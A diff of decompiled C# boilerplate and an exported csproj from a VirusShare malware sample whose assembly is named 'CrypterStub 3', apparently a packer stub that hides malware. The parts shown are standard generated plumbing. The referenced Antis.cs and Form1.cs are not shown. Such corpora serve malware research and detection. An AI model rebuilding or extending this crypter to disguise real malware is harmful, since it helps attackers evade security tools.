+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyComputer
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyComputer : Computer
+  {
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyProject
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      public Form1 m_Form1;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form1 Form1
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
+          return this.m_Form1;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_Form1)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form1>(ref this.m_Form1);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyWebServices
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettings
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace CrypterStub_3.My
+{
+  [CompilerGenerated]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettingsProperty
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My
+{
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.Resources.Resources
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My.Resources
+{
+  [HideModuleName]
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) CrypterStub_3.My.Resources.Resources.resourceMan, (object) null))
+          CrypterStub_3.My.Resources.Resources.resourceMan = new ResourceManager("CrypterStub_3.Resources", typeof (CrypterStub_3.My.Resources.Resources).Assembly);
+        return CrypterStub_3.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => CrypterStub_3.My.Resources.Resources.resourceCulture;
+      set => CrypterStub_3.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/Packed.MSIL.MSILPack.a.csproj

@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{12F6080B-C727-48CE-A9E1-4AD55B841AB4}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>CrypterStub 3</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>CrypterStub_3</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Antis.cs" />
+    <Compile Include="Form1.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>